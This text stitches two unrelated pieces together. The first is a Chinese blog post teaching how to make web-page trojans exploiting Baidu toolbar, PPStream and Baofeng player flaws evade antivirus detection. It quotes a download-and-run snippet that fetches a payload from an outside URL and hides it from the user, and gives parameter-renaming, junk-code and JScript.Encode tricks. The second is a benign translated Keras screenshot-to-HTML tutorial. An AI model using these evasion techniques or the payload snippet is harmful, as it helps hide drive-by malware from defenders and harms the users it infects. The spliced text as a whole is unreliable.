近一段時間，很多國內(nèi)知名的應(yīng)用程序都出現(xiàn)了很嚴(yán)重的安全漏洞，而這些漏洞的運用方法也都出奇地一致——網(wǎng)頁木馬。可是網(wǎng)頁木馬和木馬程序一樣，一經(jīng)推出就會很快被殺毒軟件所查殺。關(guān)于木馬程序的免殺已經(jīng)介紹過很多了，今天就來看看網(wǎng)頁木馬是如何進(jìn)行免殺制作的。

一.百度搜索網(wǎng)頁木馬

百度搜霸漏洞是由于BaiduBar.dll ActiveX控件中存在一個可以供遠(yuǎn)程代碼執(zhí)行的高危漏洞。運行百度搜霸漏洞網(wǎng)頁木馬生成器來創(chuàng)建一個自己需要的網(wǎng)頁木馬文件。分別利用瑞星和卡巴斯基對這個文件進(jìn)行查殺，發(fā)現(xiàn)目前只有瑞星可以對這個文件進(jìn)行查殺。

現(xiàn)在我們就利用常見的源代碼折半法來進(jìn)行文件特征碼的尋找井進(jìn)行查殺，所謂源代碼折半法，就是把源代碼從中一分為二，接替來查看哪一部分代碼被殺，如果發(fā)現(xiàn)兩層以上的特征碼再將這段分開，然后依次類推縮小范圍，最終找到文件中特征碼的所在位置，這也是網(wǎng)頁木馬免殺最常用的檢測方法。

由于百度搜霸網(wǎng)頁木馬的代碼很少很清晰，因此制作免殺起來還是有一定的難度的，所以我們只能從文件代碼中間進(jìn)行修改操作。舉個例子，比如說“( "http：//www.weixanmanbu.com/cak.cab","muma .exe"，0)”，這段代碼是網(wǎng)頁木馬先利用DloadDS（）函數(shù)下載CAB文件，然后在本地將其轉(zhuǎn)化為可執(zhí)行文件再運行，在這段代碼最后有一個參數(shù)0，它的作用就是讓下載的文件不顯示給用戶。我們只需要把參數(shù)0改為1，網(wǎng)頁木馬文件就可以起到免殺的效果了。不過問題也隨之而來了，改成1后網(wǎng)頁木馬會彈出一個提示窗口，這個樣子很容易被發(fā)現(xiàn)并引起用戶的懷疑。那應(yīng)該怎么辦呢？其實操作起來很簡單。我們只需要將參數(shù)0改為00，就可以輕易的躲過瑞星殺毒軟件的檢測。

二.PPStream網(wǎng)頁木馬

PPStream網(wǎng)頁木馬是通過PPStream的堆棧溢出產(chǎn)生的。首先還是通過PPStream漏洞生成器來創(chuàng)建一個網(wǎng)頁木馬文件，接著通過金山毒霸對其進(jìn)行查殺，毋庸置疑已經(jīng)被查殺了。我們還是先通過源代碼折半法來確定特征碼的位置，經(jīng)過測試發(fā)現(xiàn)特征碼處于<objeot id="ppc" Classid=”CLSID:5EC7C511-CDOF-42E6-830C-1BD9882F3458">這段中。其實制作過免殺網(wǎng)頁木馬的用戶一眼就可以看出，問題一定是在ppc這個參數(shù)里面，因為參數(shù)從來就是殺毒軟件特征碼的提取內(nèi)容。我們將ppc改為duba，然后網(wǎng)頁木馬文件就免殺了。不過需要大家注意的是，這段代碼和后面的是相連的，因此只要使用ppc參數(shù)的，就需要改成duba才可以。這個方法對于其它的殺毒軟件，比如瑞星也可以起到免殺的效果。

三.暴風(fēng)影音網(wǎng)頁木馬

暴風(fēng)影音網(wǎng)頁木馬是由于暴風(fēng)影音II中mps.dll組件多個緩沖區(qū)溢出漏洞造成的，也是近期非常熱門的一個軟件漏洞。創(chuàng)建好我們的網(wǎng)頁木馬后進(jìn)仟查殺，發(fā)現(xiàn)很多殺毒軟件都能夠?qū)⑵洳闅ⅰＭ瑯油ㄟ^路改參數(shù)就可以避過金山毒霸的查殺，但卻無法過瑞星和卡巴斯基。

我們找到memory=new Array();，接著在其下面添加一句google=memory。本來變量memory是直接轉(zhuǎn)向new Array()的，現(xiàn)在我們在中間添加了一句新的代碼，這樣就讓google先轉(zhuǎn)到變量memory，然后再從memory轉(zhuǎn)向new Array（）。實際上就是讓代碼多走了一步路，這在程序中本來是不應(yīng)該存在的，這么做就相當(dāng)于在網(wǎng)頁代碼里而添加了一段花指令。保存修改后再查殺網(wǎng)頁木馬文件，發(fā)現(xiàn)已經(jīng)通過了瑞星的檢測。

網(wǎng)頁木馬的免殺除了這種修改源代碼的方法外。還可以利用代碼加密的方法來進(jìn)行免殺操作。網(wǎng)頁木馬的加密方法有很多，常用的就是微軟的JScript.Encode腳本來加密，當(dāng)然用戶自己編寫加密函數(shù)效果會更好。現(xiàn)在同上這種在線進(jìn)行JScript.Encode加密解密的網(wǎng)頁也有很多，只需要將網(wǎng)頁木馬源代碼粘貼在網(wǎng)頁的輸入框內(nèi)，接著按“Encodc解密”按鈕就可以了。需要用戶注意的是，加密時應(yīng)該只對腳本部分進(jìn)行加密，不需要對<script language="">腳本標(biāo)記進(jìn)行加密，并且加密后腳本標(biāo)記應(yīng)該改為<script language ="JScript.Encode">。

到此為止，關(guān)于網(wǎng)頁木馬免殺的相關(guān)內(nèi)容就為大家介紹到這兒，從上面的介紹我們可以看到，網(wǎng)頁木馬免殺的方法相對于可執(zhí)行文件來說還是非常有限的。不過用戶只需要利用好過有限的方法，就可以將網(wǎng)頁木馬隱形于眾多的殺毒軟件面前，當(dāng)然這種方法也適用于ASP、PHP這樣的網(wǎng)頁木馬。

本文來自 危險漫步博客 轉(zhuǎn)載請注明；

本文地址：http://www.weixianmanbu.com/article/1143.html

CSDN 編者按】一個月前，我們曾發(fā)表過一篇標(biāo)題為《三年后，人工智能將徹底改變前端開發(fā)？》的文章，其中介紹了一個彼時名列 GitHub 排行榜 TOP 1 的項目 —— Screenshot-to-code-in-Keras。在這個項目中，神經(jīng)網(wǎng)絡(luò)通過深度學(xué)習(xí)，自動把設(shè)計稿變成 HTML 和 CSS 代碼，同時其作者 Emil Wallner 表示，“三年后，人工智能將徹底改變前端開發(fā)”。

這個 Flag 一立，即引起了國內(nèi)外非常熱烈的討論，有喜有憂，有褒揚有反對。對此，Emil Wallner 則以非常嚴(yán)謹(jǐn)?shù)膶嵺`撰寫了系列文章，尤其是在《Turning Design Mockups Into Code With Deep Learning》一文中，詳細(xì)分享了自己是如何根據(jù) pix2code 等論文構(gòu)建了一個強大的前端代碼生成模型，并細(xì)講了其利用 LSTM 與 CNN 將設(shè)計原型編寫為 HTML 和 CSS 網(wǎng)站的過程。

以下為全文：

在未來三年內(nèi)，深度學(xué)習(xí)將改變前端開發(fā)，它可以快速創(chuàng)建原型，并降低軟件開發(fā)的門檻。

去年，該領(lǐng)域取得了突破性的進(jìn)展，其中 Tony Beltramelli 發(fā)表了 pix2code 的論文[1]，而 Airbnb 則推出了sketch2code[2]。

目前，前端開發(fā)自動化的最大障礙是計算能力。但是，現(xiàn)在我們可以使用深度學(xué)習(xí)的算法，以及合成的訓(xùn)練數(shù)據(jù)，探索人工前端開發(fā)的自動化。

本文中，我們將展示如何訓(xùn)練神經(jīng)網(wǎng)絡(luò)，根據(jù)設(shè)計圖編寫基本的 HTML 和 CSS 代碼。以下是該過程的簡要概述：

• 提供設(shè)計圖給經(jīng)過訓(xùn)練的神經(jīng)網(wǎng)絡(luò)

• 神經(jīng)網(wǎng)絡(luò)把設(shè)計圖轉(zhuǎn)化成 HTML 代碼

大圖請點：https://blog.floydhub.com/generate_html_markup-b6ceec69a7c9cfd447d188648049f2a4.gif

• 渲染畫面

我們將通過三次迭代建立這個神經(jīng)網(wǎng)絡(luò)。

首先，我們建立一個簡化版，掌握基礎(chǔ)結(jié)構(gòu)。第二個版本是 HTML，我們將集中討論每個步驟的自動化，并解釋神經(jīng)網(wǎng)絡(luò)的各層。在最后一個版本——Boostrap 中，我們將創(chuàng)建一個通用的模型來探索 LSTM 層。

你可以通過 Github[3] 和 FloydHub[4] 的 Jupyter notebook 訪問我們的代碼。所有的 FloydHub notebook 都放在“floydhub”目錄下，而 local 的東西都在“l(fā)ocal”目錄下。

這些模型是根據(jù) Beltramelli 的 pix2code 論文和 Jason Brownlee 的“圖像標(biāo)注教程”[5]創(chuàng)建的。代碼的編寫采用了 Python 和 Keras（TensorFlow 的上層框架）。

如果你剛剛接觸深度學(xué)習(xí)，那么我建議你先熟悉下 Python、反向傳播算法、以及卷積神經(jīng)網(wǎng)絡(luò)。你可以閱讀我之前發(fā)表的三篇文章：

• 開始學(xué)習(xí)深度學(xué)習(xí)的第一周[6]

• 通過編程探索深度學(xué)習(xí)發(fā)展史[7]

• 利用神經(jīng)網(wǎng)絡(luò)給黑白照片上色[8]

核心邏輯

我們的目標(biāo)可以概括為：建立可以生成與設(shè)計圖相符的 HTML 及 CSS 代碼的神經(jīng)網(wǎng)絡(luò)。

在訓(xùn)練神經(jīng)網(wǎng)絡(luò)的時候，你可以給出幾個截圖以及相應(yīng)的 HTML。

神經(jīng)網(wǎng)絡(luò)通過逐個預(yù)測與之匹配的 HTML 標(biāo)簽進(jìn)行學(xué)習(xí)。在預(yù)測下一個標(biāo)簽時，神經(jīng)網(wǎng)絡(luò)會查看截圖以及到這個點為止的所有正確的 HTML 標(biāo)簽。

下面的 Google Sheet 給出了一個簡單的訓(xùn)練數(shù)據(jù)：

https://docs.google.com/spreadsheets/d/1xXwarcQZAHluorveZsACtXRdmNFbwGtN3WMNhcTdEyQ/edit?usp=sharing

當(dāng)然，還有其他方法[9]可以訓(xùn)練神經(jīng)網(wǎng)絡(luò)，但創(chuàng)建逐個單詞預(yù)測的模型是目前最普遍的做法，所以在本教程中我們也使用這個方法。

請注意每次的預(yù)測都必須基于同一張截圖，所以如果神經(jīng)網(wǎng)絡(luò)需要預(yù)測 20 個單詞，那么它需要查看同一張截圖 20 次。暫時先把神經(jīng)網(wǎng)絡(luò)的工作原理放到一邊，讓我們先了解一下神經(jīng)網(wǎng)絡(luò)的輸入和輸出。

讓我們先來看看“之前的 HTML 標(biāo)簽”。假設(shè)我們需要訓(xùn)練神經(jīng)網(wǎng)絡(luò)預(yù)測這樣一個句子：“I can code。”當(dāng)它接收到“I”的時候，它會預(yù)測“can”。下一步它接收到“I can”，繼續(xù)預(yù)測“code”。也就是說，每一次神經(jīng)網(wǎng)絡(luò)都會接收所有之前的單詞，但是僅需預(yù)測下一個單詞。

神經(jīng)網(wǎng)絡(luò)根據(jù)數(shù)據(jù)創(chuàng)建特征，它必須通過創(chuàng)建的特征把輸入數(shù)據(jù)和輸出數(shù)據(jù)連接起來，它需要建立一種表現(xiàn)方式來理解截圖中的內(nèi)容以及預(yù)測到的 HTML 語法。這個過程積累的知識可以用來預(yù)測下個標(biāo)簽。

利用訓(xùn)練好的模型開展實際應(yīng)用與訓(xùn)練模型的過程很相似。模型會按照同一張截圖逐個生成文本。所不同的是，你無需提供正確的 HTML 標(biāo)簽，模型只接受迄今為止生成過的標(biāo)簽，然后預(yù)測下一個標(biāo)簽。預(yù)測從“start”標(biāo)簽開始，當(dāng)預(yù)測到“end”標(biāo)簽或超過最大限制時終止。下面的 Google Sheet 給出了另一個例子：

https://docs.google.com/spreadsheets/d/1yneocsAb_w3-ZUdhwJ1odfsxR2kr-4e_c5FabQbNJrs/edit#gid=0

Hello World 版本

讓我們試著創(chuàng)建一個“hello world”的版本。我們給神經(jīng)網(wǎng)絡(luò)提供一個顯示“Hello World”的網(wǎng)頁截圖，并教它怎樣生成 HTML 代碼。

大圖請點：https://blog.floydhub.com/hello_world_generation-039d78c27eb584fa639b89d564b94772.gif

首先，神經(jīng)網(wǎng)絡(luò)將設(shè)計圖轉(zhuǎn)化成一系列的像素值，每個像素包含三個通道（紅藍(lán)綠），數(shù)值為 0-255。

我在這里使用 one-hot 編碼[10]來描述神經(jīng)網(wǎng)絡(luò)理解 HTML 代碼的方式。句子“I can code”的編碼如下圖所示：

上圖的例子中加入了“start”和“end”標(biāo)簽。這些標(biāo)簽可以提示神經(jīng)網(wǎng)絡(luò)從哪里開始預(yù)測，到哪里停止預(yù)測。

我們用句子作為輸入數(shù)據(jù)，第一個句子只包含第一個單詞，以后每次加入一個新單詞。而輸出數(shù)據(jù)始終只有一個單詞。

句子的邏輯與單詞相同，但它們還需要保證輸入數(shù)據(jù)具有相同的長度。單詞的上限是詞匯表的大小，而句子的上限則是句子的最大長度。如果句子的長度小于最大長度，就用空單詞補齊——空單詞就是全零的單詞。

如上圖所示，單詞是從右向左排列的，這樣可以強迫每個單詞在每輪訓(xùn)練中改變位置。這樣模型就能學(xué)習(xí)單詞的順序，而非記住每個單詞的位置。

下圖是四次預(yù)測，每行代表一次預(yù)測。等式左側(cè)是用紅綠藍(lán)三個通道的數(shù)值表示的圖像，以及之前的單詞。括號外面是每次的預(yù)測，最后一個紅方塊代表結(jié)束。

#Length of longest sentencemax_caption_len = 3#Size of vocabularyvocab_size = 3# Load one screenshot for each word and turn them into digitsimages = []for i in range(2): images.append(img_to_array(load_img('screenshot.jpg', target_size=(224, 224))))images = np.array(images, dtype=float)# Preprocess input for the VGG16 modelimages = preprocess_input(images)#Turn start tokens into one-hot encodinghtml_input = np.array( [[[0., 0., 0.], #start [0., 0., 0.], [1., 0., 0.]], [[0., 0., 0.], #start <HTML>Hello World!</HTML> [1., 0., 0.], [0., 1., 0.]]])#Turn next word into one-hot encodingnext_words = np.array( [[0., 1., 0.], # <HTML>Hello World!</HTML> [0., 0., 1.]]) # end# Load the VGG16 model trained on imagenet and output the classification featureVGG = VGG16(weights='imagenet', include_top=True)# Extract the features from the imagefeatures = VGG.predict(images)#Load the feature to the network, apply a dense layer, and repeat the vectorvgg_feature = Input(shape=(1000,))vgg_feature_dense = Dense(5)(vgg_feature)vgg_feature_repeat = RepeatVector(max_caption_len)(vgg_feature_dense)# Extract information from the input seqencelanguage_input = Input(shape=(vocab_size, vocab_size))language_model = LSTM(5, return_sequences=True)(language_input)# Concatenate the information from the image and the inputdecoder = concatenate([vgg_feature_repeat, language_model])# Extract information from the concatenated outputdecoder = LSTM(5, return_sequences=False)(decoder)# Predict which word comes nextdecoder_output = Dense(vocab_size, activation='softmax')(decoder)# Compile and run the neural networkmodel = Model(inputs=[vgg_feature, language_input], outputs=decoder_output)model.compile(loss='categorical_crossentropy', optimizer='rmsprop')# Train the neural networkmodel.fit([features, html_input], next_words, batch_size=2, shuffle=False, epochs=1000)

在 hello world 版本中，我們用到了 3 個 token，分別是“start”、“<HTML><center><H1>Hello World!</H1></center></HTML>”和“end”。token 可以代表任何東西，可以是一個字符、單詞或者句子。選擇字符作為 token 的好處是所需的詞匯表較小，但是會限制神經(jīng)網(wǎng)絡(luò)的學(xué)習(xí)。選擇單詞作為 token 具有最好的性能。

接下來進(jìn)行預(yù)測：

# Create an empty sentence and insert the start tokensentence = np.zeros((1, 3, 3)) # [[0,0,0], [0,0,0], [0,0,0]]start_token = [1., 0., 0.] # startsentence[0][2] = start_token # place start in empty sentence# Making the first prediction with the start tokensecond_word = model.predict([np.array([features[1]]), sentence])# Put the second word in the sentence and make the final predictionsentence[0][1] = start_tokensentence[0][2] = np.round(second_word)third_word = model.predict([np.array([features[1]]), sentence])# Place the start token and our two predictions in the sentencesentence[0][0] = start_tokensentence[0][1] = np.round(second_word)sentence[0][2] = np.round(third_word)# Transform our one-hot predictions into the final tokensvocabulary = ["start", "<HTML><center><H1>Hello World!</H1></center></HTML>", "end"]for i in sentence[0]: print(vocabulary[np.argmax(i)], end=' ')

輸出結(jié)果

• 10 epochs：start start start

• 100 epochs：start <HTML><center><H1>Hello World!</H1></center></HTML> <HTML><center><H1>Hello World!</H1></center></HTML>

• 300 epochs：start <HTML><center><H1>Hello World!</H1></center></HTML> end

在這之中，我犯過的錯誤

• 先做出可以運行的第一版，再收集數(shù)據(jù)。在這個項目的早期，我曾成功地下載了整個 Geocities 托管網(wǎng)站的一份舊的存檔，里面包含了 3800 萬個網(wǎng)站。由于神經(jīng)網(wǎng)絡(luò)強大的潛力，我沒有考慮到歸納一個 10 萬大小詞匯表的巨大工作量。

• 處理 TB 級的數(shù)據(jù)需要好的硬件或巨大的耐心。在我的 Mac 遇到幾個難題后，我不得不使用強大的遠(yuǎn)程服務(wù)器。為了保證工作流程的順暢，需要做好心里準(zhǔn)備租用一臺 8 CPU 和 1G 帶寬的礦機。

• 關(guān)鍵在于搞清楚輸入和輸出數(shù)據(jù)。輸入 X 是一張截圖和之前的 HTML 標(biāo)簽。而輸出 Y 是下一個標(biāo)簽。當(dāng)我明白了輸入和輸出數(shù)據(jù)之后，理解其余內(nèi)容就很簡單了。試驗不同的架構(gòu)也變得更加容易。

• 保持專注，不要被誘惑。因為這個項目涉及了深度學(xué)習(xí)的許多領(lǐng)域，很多地方讓我深陷其中不能自拔。我曾花了一周的時間從頭開始編寫 RNN，也曾經(jīng)沉迷于嵌入向量空間，還陷入過極限實現(xiàn)方式的陷阱。

• 圖片轉(zhuǎn)換到代碼的網(wǎng)絡(luò)只不過是偽裝的圖像標(biāo)注模型。即使我明白這一點，但還是因為許多圖像標(biāo)注方面的論文不夠炫酷而忽略了它們。掌握一些這方面的知識可以幫助我們加速學(xué)習(xí)問題空間。

在 FloydHub 上運行代碼

FloydHub 是深度學(xué)習(xí)的訓(xùn)練平臺。我在剛開始學(xué)習(xí)深度學(xué)習(xí)的時候發(fā)現(xiàn)了這個平臺，從那以后我一直用它訓(xùn)練和管理我的深度學(xué)習(xí)實驗。你可以在 10 分鐘之內(nèi)安裝并開始運行模型，它是在云端 GPU 上運行模型的最佳選擇。

如果你沒用過 FloydHub，請參照官方的“2 分鐘安裝手冊”或我寫的“5 分鐘入門教程”[11]。

克隆代碼倉庫：

git clone https://github.com/emilwallner/Screenshot-to-code-in-Keras.git

登錄及初始化 FloydHub 的命令行工具：

cd Screenshot-to-code-in-Kerasfloyd login
floyd init s2c

在 FloydHub 的云端 GPU 機器上運行 Jupyter notebook：

floyd run --gpu --env tensorflow-1.4 --data emilwallner/datasets/imagetocode/2:data --mode jupyter

所有的 notebook 都保存在“FloydHub”目錄下，而 local 的東西都在“l(fā)ocal”目錄下。運行之后，你可以在如下文件中找到第一個 notebook：

floydhub/Helloworld/helloworld.ipynb

如果你想了解詳細(xì)的命令參數(shù)，請參照我這篇帖子：

https://blog.floydhub.com/colorizing-b&w-photos-with-neural-networks/

HTML 版本

在這個版本中，我們將自動化 Hello World 模型中的部分步驟。本節(jié)我們將集中介紹如何讓模型處理任意多的輸入數(shù)據(jù)，以及建立神經(jīng)網(wǎng)絡(luò)中的關(guān)鍵部分。

這個版本還不能根據(jù)任意網(wǎng)站預(yù)測 HTML，但是我們將在此嘗試解決關(guān)鍵性的技術(shù)問題，向最終的成功邁進(jìn)一大步。

概述

我們可以把之前的解說圖擴展為如下：

上圖中有兩個主要部分。首先是編碼部分。編碼部分負(fù)責(zé)建立圖像特征和之前的標(biāo)簽特征。特征是指神經(jīng)網(wǎng)絡(luò)創(chuàng)建的最小單位的數(shù)據(jù)，用于連接設(shè)計圖和 HTML 代碼。在編碼部分的最后，我們把圖像的特征連接到之前的標(biāo)簽的每個單詞。

另一個主要部分是解碼部分。解碼部分負(fù)責(zé)接收聚合后的設(shè)計圖和 HTML 代碼的特征，并創(chuàng)建下一個標(biāo)簽的特征。這個特征通過一個全連接神經(jīng)網(wǎng)絡(luò)來預(yù)測下一個標(biāo)簽。

設(shè)計圖的特征

由于我們需要給每個單詞添加一張截圖，所以這會成為訓(xùn)練神經(jīng)網(wǎng)絡(luò)過程中的瓶頸。所以我們不直接使用圖片，而是從中提取生成標(biāo)簽所必需的信息。

提取的信息經(jīng)過編碼后保存在圖像特征中。這項工作可以由事先訓(xùn)練好的卷積神經(jīng)網(wǎng)絡(luò)（CNN）完成。該模型可以通過 ImageNet 上的數(shù)據(jù)進(jìn)行訓(xùn)練。

CNN 的最后一層是分類層，我們可以從前一層提取圖像特征。

最終我們可以得到 1536 個 8x8 像素的圖片作為特征。盡管我們很難理解這些特征的含義，但是神經(jīng)網(wǎng)絡(luò)可以從中提取元素的對象和位置。

HTML 標(biāo)簽的特征

在 hello world 版本中，我們采用了 one-hot 編碼表現(xiàn) HTML 標(biāo)簽。在這個版本中，我們將使用單詞嵌入（word embedding）作為輸入信息，輸出依然用 one-hot 編碼。

我們繼續(xù)采用之前的方式分析句子，但是匹配每個 token 的方式有所變化。之前的 one-hot 編碼把每個單詞當(dāng)成一個獨立的單元，而這里我們把輸入數(shù)據(jù)中的每個單詞轉(zhuǎn)化成一系列數(shù)字，它們代表 HTML 標(biāo)簽之間的關(guān)系。

上例中的單詞嵌入是 8 維的，而實際上根據(jù)詞匯表的大小，其維度會在 50 到 500 之間。

每個單詞的 8 個數(shù)字表示權(quán)重，與原始的神經(jīng)網(wǎng)絡(luò)很相似。它們表示單詞之間的關(guān)系（Mikolov 等，2013[12]）。

以上就是我們建立 HTML 標(biāo)簽特征的過程。神經(jīng)網(wǎng)絡(luò)通過此特征在輸入和輸出數(shù)據(jù)之間建立聯(lián)系。暫時先不用擔(dān)心具體的內(nèi)容，我們會在下節(jié)中深入討論這個問題。

編碼部分

我們需要把單詞嵌入的結(jié)果輸入到 LSTM 中，并返回一系列標(biāo)簽特征，再把這些特征送入 Time distributed dense 層——你可以認(rèn)為這是擁有多個輸入和輸出的 dense 層。

同時，圖像特征首先需要被展開（flatten），無論數(shù)值原來是什么結(jié)構(gòu)，它們都會被轉(zhuǎn)換成一個巨大的數(shù)值列表；然后經(jīng)過 dense 層建立更高級的特征；最后把這些特征與 HTML 標(biāo)簽的特征連接起來。

這可能有點難理解，下面我們逐一分解開來看看。

HTML 標(biāo)簽特征

首先我們把單詞嵌入的結(jié)果輸入到 LSTM 層。如下圖所示，所有的句子都被填充到最大長度，即三個 token。

為了混合這些信號并找到更高層的模式，我們加入 TimeDistributed dense 層進(jìn)一步處理 LSTM 層生成的 HTML 標(biāo)簽特征。TimeDistributed dense 層是擁有多個輸入和輸出的 dense 層。

圖像特征

同時，我們需要處理圖像。我們把所有的特征（小圖片）轉(zhuǎn)化成一個長數(shù)組，其中包含的信息保持不變，只是進(jìn)行重組。

同樣，為了混合信號并提取更高層的信息，我們添加一個 dense 層。由于輸入只有一個，所以我們可以使用普通的 dense 層。為了與 HTML 標(biāo)簽特征相連接，我們需要復(fù)制圖像特征。

上述的例子中我們有三個 HTML 標(biāo)簽特征，因此最終圖像特征的數(shù)量也同樣是三個。

連接圖像特征和 HTML 標(biāo)簽特征

所有的句子經(jīng)過填充后組成了三個特征。因為我們已經(jīng)準(zhǔn)備好了圖像特征，所以現(xiàn)在可以把圖像特征分別添加到各自的 HTML 標(biāo)簽特征。

添加完成之后，我們得到了 3 個圖像-標(biāo)簽特征，這便是我們需要提供給解碼部分的輸入信息。

解碼部分

接下來，我們使用圖像-標(biāo)簽的結(jié)合特征來預(yù)測下一個標(biāo)簽。

在下面的例子中，我們使用三對圖形-標(biāo)簽特征，輸出下一個標(biāo)簽的特征。

請注意，LSTM 層的 sequence 值為 false，所以我們不需要返回輸入序列的長度，只需要預(yù)測一個特征，也就是下一個標(biāo)簽的特征，其內(nèi)包含了最終的預(yù)測信息。

最終預(yù)測

dense 層的工作原理與傳統(tǒng)的前饋神經(jīng)網(wǎng)絡(luò)相似，它把下個標(biāo)簽特征的 512 個數(shù)字與 4 個最終預(yù)測連接起來。用我們的單詞表達(dá)就是：start、hello、world 和 end。

其中，dense 層的 softmax 激活函數(shù)會生成 0-1 的概率分布，所有預(yù)測值的總和等于 1。比如說詞匯表的預(yù)測可能是[0.1,0.1,0.1,0.7]，那么輸出的預(yù)測結(jié)果即為：第 4 個單詞是下一個標(biāo)簽。然后，你可以把 one-hot 編碼[0，0，0，1]轉(zhuǎn)換為映射值，得出“end”。

# Load the images and preprocess them for inception-resnetimages = []all_filenames = listdir('images/')all_filenames.sort()for filename in all_filenames: images.append(img_to_array(load_img('images/'+filename, target_size=(299, 299))))images = np.array(images, dtype=float)images = preprocess_input(images)# Run the images through inception-resnet and extract the features without the classification layerIR2 = InceptionResNetV2(weights='imagenet', include_top=False)features = IR2.predict(images)# We will cap each input sequence to 100 tokensmax_caption_len = 100# Initialize the function that will create our vocabularytokenizer = Tokenizer(filters='', split=" ", lower=False)# Read a document and return a stringdef load_doc(filename): file = open(filename, 'r') text = file.read() file.close() return text# Load all the HTML filesX = []all_filenames = listdir('html/')all_filenames.sort()for filename in all_filenames:X.append(load_doc('html/'+filename))# Create the vocabulary from the html filestokenizer.fit_on_texts(X)# Add +1 to leave space for empty wordsvocab_size = len(tokenizer.word_index) + 1# Translate each word in text file to the matching vocabulary indexsequences = tokenizer.texts_to_sequences(X)# The longest HTML filemax_length = max(len(s) for s in sequences)# Intialize our final input to the modelX, y, image_data = list(), list(), list()for img_no, seq in enumerate(sequences): for i in range(1, len(seq)): # Add the entire sequence to the input and only keep the next word for the output in_seq, out_seq = seq[:i], seq[i] # If the sentence is shorter than max_length, fill it up with empty words in_seq = pad_sequences([in_seq], maxlen=max_length)[0] # Map the output to one-hot encoding out_seq = to_categorical([out_seq], num_classes=vocab_size)[0] # Add and image corresponding to the HTML file image_data.append(features[img_no]) # Cut the input sentence to 100 tokens, and add it to the input data X.append(in_seq[-100:]) y.append(out_seq)X, y, image_data = np.array(X), np.array(y), np.array(image_data)# Create the encoderimage_features = Input(shape=(8, 8, 1536,))image_flat = Flatten()(image_features)image_flat = Dense(128, activation='relu')(image_flat)ir2_out = RepeatVector(max_caption_len)(image_flat)language_input = Input(shape=(max_caption_len,))language_model = Embedding(vocab_size, 200, input_length=max_caption_len)(language_input)language_model = LSTM(256, return_sequences=True)(language_model)language_model = LSTM(256, return_sequences=True)(language_model)language_model = TimeDistributed(Dense(128, activation='relu'))(language_model)# Create the decoderdecoder = concatenate([ir2_out, language_model])decoder = LSTM(512, return_sequences=False)(decoder)decoder_output = Dense(vocab_size, activation='softmax')(decoder)# Compile the modelmodel = Model(inputs=[image_features, language_input], outputs=decoder_output)model.compile(loss='categorical_crossentropy', optimizer='rmsprop')# Train the neural networkmodel.fit([image_data, X], y, batch_size=64, shuffle=False, epochs=2)# map an integer to a worddef word_for_id(integer, tokenizer): for word, index in tokenizer.word_index.items(): if index == integer: return word return None# generate a description for an imagedef generate_desc(model, tokenizer, photo, max_length): # seed the generation process in_text = 'START' # iterate over the whole length of the sequence for i in range(900): # integer encode input sequence sequence = tokenizer.texts_to_sequences([in_text])[0][-100:] # pad input sequence = pad_sequences([sequence], maxlen=max_length) # predict next word yhat = model.predict([photo,sequence], verbose=0) # convert probability to integer yhat = np.argmax(yhat) # map integer to word word = word_for_id(yhat, tokenizer) # stop if we cannot map the word if word is None: break # append as input for generating the next word in_text += ' ' + word # Print the prediction print(' ' + word, end='') # stop if we predict the end of the sequence if word == 'END': break return# Load and image, preprocess it for IR2, extract features and generate the HTMLtest_image = img_to_array(load_img('images/87.jpg', target_size=(299, 299)))test_image = np.array(test_image, dtype=float)test_image = preprocess_input(test_image)test_features = IR2.predict(np.array([test_image]))generate_desc(model, tokenizer, np.array(test_features), 100)

輸出結(jié)果

生成網(wǎng)站的鏈接：

• 250 epochs： https://emilwallner.github.io/html/250_epochs/

• 350 epochs：https://emilwallner.github.io/html/350_epochs/

• 450 epochs：https://emilwallner.github.io/html/450_epochs/

• 550 epochs：https://emilwallner.github.io/html/450_epochs/

如果點擊上述鏈接看不到頁面的話，你可以選擇“查看源代碼”。下面是原網(wǎng)站的鏈接，僅供參考：

https://emilwallner.github.io/html/Original/

我犯過的錯誤

• 與 CNN 相比，LSTM 遠(yuǎn)比我想像得復(fù)雜。為了更好的理解，我展開了所有的 LSTM。關(guān)于 RNN 你可以參考這個視頻（http://course.fast.ai/lessons/lesson6.html）。另外，在理解原理之前，請先搞清楚輸入和輸出特征。

• 從零開始創(chuàng)建詞匯表比削減大型詞匯表更容易。詞匯表可以包括任何東西，如字體、div 大小、十六進(jìn)制顏色、變量名以及普通單詞。

• 大多數(shù)的代碼庫可以很好地解析文本文檔，卻不能解析代碼。因為文檔中所有單詞都用空格分開，但是代碼不同，所以你得自己想辦法解析代碼。

• 用 Imagenet 訓(xùn)練好的模型提取特征也許不是個好主意。因為 Imagenet 很少有網(wǎng)頁的圖片，所以它的損失率比從零開始訓(xùn)練的 pix2code 模型高 30%。如果使用網(wǎng)頁截圖訓(xùn)練 inception-resnet 之類的模型，不知結(jié)果會怎樣。

Bootstrap 版本

在最后一個版本——Bootstrap 版本中，我們使用的數(shù)據(jù)集來自根據(jù) pix2code 論文生成的 bootstrap 網(wǎng)站。通過使用 Twitter 的 bootstrap（https://getbootstrap.com/），我們可以結(jié)合 HTML 和 CSS，并減小詞匯表的大小。

我們可以提供一個它從未見過的截圖，訓(xùn)練它生成相應(yīng)的 HTML 代碼。我們還可以深入研究它學(xué)習(xí)這個截圖和 HTML 代碼的過程。

拋開 bootstrap 的 HTML 代碼，我們在這里使用 17 個簡化的 token 訓(xùn)練它，然后翻譯成 HTML 和 CSS。這個數(shù)據(jù)集[13]包括 1500 個測試截圖和 250 個驗證截圖。每個截圖上平均有 65 個 token，包含 96925 個訓(xùn)練樣本。

通過修改 pix2code 論文的模型提供輸入數(shù)據(jù)，我們的模型可以預(yù)測網(wǎng)頁的組成，且準(zhǔn)確率高達(dá) 97%（我們采用了 BLEU 4-ngram greedy search，稍后會詳細(xì)介紹）。

端到端的方法

圖像標(biāo)注模型可以從事先訓(xùn)練好的模型中提取特征，但是經(jīng)過幾次實驗后，我發(fā)現(xiàn) pix2code 的端到端的方法可以更好地為我們的模型提取特征，因為事先訓(xùn)練好的模型并沒有用網(wǎng)頁數(shù)據(jù)訓(xùn)練過，而且它本來的作用是分類。

在這個模型中，我們用輕量級的卷積神經(jīng)網(wǎng)絡(luò)替代了事先訓(xùn)練好的圖像特征。我們沒有采用 max-pooling 增加信息密度，但我們增加了步長（stride），以確保前端元素的位置和顏色。

有兩個核心模型可以支持這個方法：卷積神經(jīng)網(wǎng)絡(luò)（CNN)和遞歸神經(jīng)網(wǎng)絡(luò)（RNN）。最常見的遞歸神經(jīng)網(wǎng)絡(luò)就是 LSTM，所以我選擇了 RNN。

